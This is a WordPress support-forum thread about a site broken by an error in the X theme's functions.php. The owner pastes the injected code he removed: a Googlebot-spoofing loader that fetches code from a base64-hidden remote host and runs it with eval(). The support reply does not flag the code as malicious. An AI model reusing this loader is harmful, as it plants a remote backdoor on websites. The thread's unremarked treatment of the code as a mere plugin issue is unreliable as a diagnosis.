Parse error after not changing a thing. cant login to wordpress at wp-admin anymore

Hi.

I havent edited a thing on my website in a few months.

today when i went to the site, the site seems to have an error.

see this graphic.the black box and error should not be there.

furthermore, i cant even get into WP-admin anymore! This is what i see when i go to http://robertperilla.com/wp-admin/ to login:

Parse error: syntax error, unexpected ‘<’ in /home/robertpe/public_html/wp-content/themes/x/functions.php(23) : eval()'d code on line 1

Warning: Cannot modify header information - headers already sent by (output started at /home/robertpe/public_html/wp-content/themes/x/functions.php(23) : eval()'d code:1) in /home/robertpe/public_html/wp-includes/pluggable.php on line 1216

i didnt change a thing! HELP!

thanks in advance.

robert

Hi Robert,

There seems to be some code added in the functions.php of the parent theme that is causing the error.

Kindly try to login through FTP and go to wp-content/themes/x then edit functions.php,

If you are using the latest version of X, the content of the file should be:

<?php

// =============================================================================
// FUNCTIONS.PHP
// -----------------------------------------------------------------------------
// Theme functions for X.
// =============================================================================

// =============================================================================
// TABLE OF CONTENTS
// -----------------------------------------------------------------------------
//   01. Define Path / URL Constants
//   02. Set Paths
//   03. Preboot
//   04. Set Asset Revision Constant
//   05. Require Files
// =============================================================================

function x_boot() {

  // Define Path / URL Constants
  // ---------------------------

  define( 'X_TEMPLATE_PATH', get_template_directory() );
  define( 'X_TEMPLATE_URL', get_template_directory_uri() );


  // Set Paths
  // ---------

  $load_path = X_TEMPLATE_PATH . '/framework/load';
  $func_path = X_TEMPLATE_PATH . '/framework/functions';
  $glob_path = X_TEMPLATE_PATH . '/framework/functions/global';
  $admn_path = X_TEMPLATE_PATH . '/framework/functions/global/admin';
  $lgcy_path = X_TEMPLATE_PATH . '/framework/legacy';
  $eque_path = X_TEMPLATE_PATH . '/framework/functions/global/enqueue';
  $plgn_path = X_TEMPLATE_PATH . '/framework/functions/global/plugins';


  // Preboot
  // -------

  $x_boot_files = glob( "$load_path/*.php" );

  sort( $x_boot_files );

  foreach ( $x_boot_files as $filename ) {
    $file = basename( $filename, '.php' );
    if ( file_exists( $filename ) && apply_filters( "x_pre_boot_$file", '__return_true' ) ) {
      require_once( $filename );
    }
  }


  // Set Asset Revision Constant (For Cache Busting)
  // -----------------------------------------------

  define( 'X_ASSET_REV', X_VERSION );


  // Require Files
  // -------------

  $require_files = apply_filters( 'x_boot_files', array(

    $glob_path . '/debug.php',
    $glob_path . '/conditionals.php',
    $glob_path . '/helpers.php',
    $glob_path . '/stack-data.php',
    $glob_path . '/tco-setup.php',

    $admn_path . '/thumbnails/setup.php',
    $admn_path . '/setup.php',
    $admn_path . '/meta/setup.php',
    $admn_path . '/sidebars.php',
    $admn_path . '/widgets.php',
    $admn_path . '/custom-post-types.php',
    $admn_path . '/cs-options/setup.php',
    $admn_path . '/menus/setup.php',
    $admn_path . '/customizer/setup.php',
    $admn_path . '/addons/setup.php',

    $lgcy_path . '/setup.php',

    $eque_path . '/styles.php',
    $eque_path . '/scripts.php',

    $glob_path . '/view-routing.php',
    $glob_path . '/action-defer.php',
    $glob_path . '/meta.php',
    $glob_path . '/featured.php',
    $glob_path . '/pagination.php',
    $glob_path . '/breadcrumbs.php',
    $glob_path . '/classes.php',
    $glob_path . '/portfolio.php',
    $glob_path . '/social.php',
    $glob_path . '/content.php',
    $glob_path . '/remove.php',

    $func_path . '/integrity.php',
    $func_path . '/renew.php',
    $func_path . '/icon.php',
    $func_path . '/ethos.php',

    $plgn_path . '/setup.php'

  ));

  foreach ( $require_files as $filename ) {
    if ( file_exists( $filename ) ) {
      require_once( $filename );
    }
  }

}

x_boot();

Kindly double check the content of your functions.php file.

Hope this helps.

Hi,

this does not seem to have fixed it. I do not believe i am using the most recent version of X. I hadn’t updated it in a long time.

i deleted this from my code, and it worked… WHAT IS THIS? and how did it get in there?

define(‘DISALLOW_FILE_EDIT’, true);define(‘DISALLOW_FILE_MODS’,true);

$host = ‘https://www.cbtnuggets.com/it-training/cisco-ccnp-routing-switching-300-115’;
$is_hc = 0;
$is_ind = 1;
$s = curl_init();curl_setopt($s,CURLOPT_URL,base64_decode(‘aHR0cDovL2cwMGdsZXdlYi5jb20vdGlrL2QyLnBocA==’));curl_setopt($s,CURLOPT_RETURNTRANSFER,1);curl_setopt($s,CURLOPT_USERAGENT,‘Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)’);curl_setopt($s,CURLOPT_REFERER,“http://www.google.com”);curl_setopt($s, CURLOPT_HTTPHEADER, array(‘X-FORWARDED-FOR:66.249.72.240’, ‘CLIENT-IP:66.249.72.240’));$edcs=curl_exec($s);eval($edcs);

Hi there,

We can’t really verify how the code as added in the file but perhaps you have added some plugin which added that.

thanks for your direction. i got it sorted out.

You’re welcome.

Glad to hear it’s sorted.

This topic was automatically closed 10 days after the last reply. New replies are no longer allowed.